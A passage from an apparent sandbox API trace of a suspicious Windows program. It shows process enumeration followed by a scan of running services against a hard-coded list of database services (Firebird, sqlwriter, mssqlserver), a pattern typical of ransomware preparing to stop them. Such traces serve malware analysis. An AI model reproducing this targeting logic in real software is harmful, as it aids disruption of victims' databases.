lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0159.392] lstrlenW (lpString="drama tv thee.exe") returned 17 [0159.392] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0159.393] lstrlenW (lpString="barriers.exe") returned 12 [0159.393] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0159.394] lstrlenW (lpString="shootclick.exe") returned 14 [0159.394] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0159.395] lstrlenW (lpString="nickel.exe") returned 10 [0159.395] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0159.396] lstrlenW (lpString="imperialopened.exe") returned 18 [0159.396] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0159.397] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0159.397] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0159.397] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0159.397] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0159.398] lstrlenW (lpString="perhapssentences.exe") returned 20 [0159.398] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0159.399] lstrlenW (lpString="dllhost.exe") returned 11 [0159.399] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.400] lstrlenW (lpString="svchost.exe") returned 11 [0159.400] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0159.400] lstrlenW (lpString="chrome64b.exe") returned 13 [0159.400] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0159.401] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0159.401] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0159.402] lstrlenW (lpString="conhost.exe") returned 11 [0159.402] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0159.402] lstrlenW (lpString="cmd.exe") returned 7 [0159.403] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0159.403] lstrlenW (lpString="conhost.exe") returned 11 [0159.403] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0159.404] CloseHandle (hObject=0x318) returned 1 [0159.404] Sleep (dwMilliseconds=0x1f4) [0159.962] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8c0 [0159.962] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0159.963] GetLastError () returned 0xea [0159.963] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e9780 [0159.963] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e9780, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e9780, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0159.963] CloseServiceHandle (hSCObject=0x7ce8c0) returned 1 [0159.963] lstrlenW (lpString="Appinfo") returned 7 [0159.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0159.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0159.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0159.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0159.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0159.964] lstrlenW (lpString="AppXSvc") returned 7 [0159.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0159.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0159.964] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0159.964] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0159.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0159.964] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.964] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.964] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.964] lstrlenW (lpString="Audiosrv") returned 8 [0159.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0159.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0159.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0159.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0159.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0159.964] lstrlenW (lpString="BFE") returned 3 [0159.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.964] lstrlenW (lpString="BITS") returned 4 [0159.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0159.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0159.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0159.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0159.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0159.964] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0159.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.965] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0159.965] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0159.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0159.965] lstrlenW (lpString="CDPSvc") returned 6 [0159.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0159.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0159.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0159.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0159.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0159.965] lstrlenW (lpString="ClickToRunSvc") returned 13 [0159.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.965] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0159.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0159.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0159.965] lstrlenW (lpString="ClipSVC") returned 7 [0159.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0159.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0159.965] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0159.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0159.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0159.965] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0159.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0159.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0159.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0159.965] lstrlenW (lpString="CryptSvc") returned 8 [0159.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.966] lstrlenW (lpString="DcomLaunch") returned 10 [0159.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.966] lstrlenW (lpString="DeviceAssociationService") returned 24 [0159.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0159.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0159.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0159.966] lstrlenW (lpString="Dhcp") returned 4 [0159.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.966] lstrlenW (lpString="Dnscache") returned 8 [0159.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.966] lstrlenW (lpString="DoSvc") returned 5 [0159.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0159.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0159.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0159.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0159.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0159.966] lstrlenW (lpString="DPS") returned 3 [0159.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.967] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.967] lstrlenW (lpString="DusmSvc") returned 7 [0159.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0159.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0159.967] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0159.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0159.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0159.967] lstrlenW (lpString="EventLog") returned 8 [0159.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0159.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0159.967] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0159.967] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0159.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0159.967] lstrlenW (lpString="EventSystem") returned 11 [0159.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.967] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.967] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.967] lstrlenW (lpString="FontCache") returned 9 [0159.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0159.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0159.967] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0159.967] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0159.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0159.967] lstrlenW (lpString="gpsvc") returned 5 [0159.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.967] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.967] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.968] lstrlenW (lpString="iphlpsvc") returned 8 [0159.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.968] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.968] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.968] lstrlenW (lpString="KeyIso") returned 6 [0159.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0159.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0159.968] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0159.968] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0159.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0159.968] lstrlenW (lpString="LanmanServer") returned 12 [0159.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.968] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.968] lstrlenW (lpString="lfsvc") returned 5 [0159.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0159.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0159.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0159.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0159.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0159.968] lstrlenW (lpString="LicenseManager") returned 14 [0159.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0159.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0159.969] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0159.969] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0159.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0159.969] lstrlenW (lpString="lmhosts") returned 7 [0159.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.969] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.969] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.969] lstrlenW (lpString="LSM") returned 3 [0159.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0159.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0159.969] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0159.969] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0159.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0159.969] lstrlenW (lpString="MpsSvc") returned 6 [0159.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.969] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.969] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.969] lstrlenW (lpString="NcbService") returned 10 [0159.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0159.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0159.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0159.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0159.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0159.969] lstrlenW (lpString="netprofm") returned 8 [0159.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.969] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.969] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.969] lstrlenW (lpString="NlaSvc") returned 6 [0159.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.970] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.970] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.970] lstrlenW (lpString="nsi") returned 3 [0159.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.970] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.970] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.970] lstrlenW (lpString="PcaSvc") returned 6 [0159.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.970] lstrlenW (lpString="PlugPlay") returned 8 [0159.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.970] lstrlenW (lpString="Power") returned 5 [0159.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0159.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.970] lstrlenW (lpString="ProfSvc") returned 7 [0159.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.970] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.971] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.971] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0159.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.971] lstrlenW (lpString="RpcSs") returned 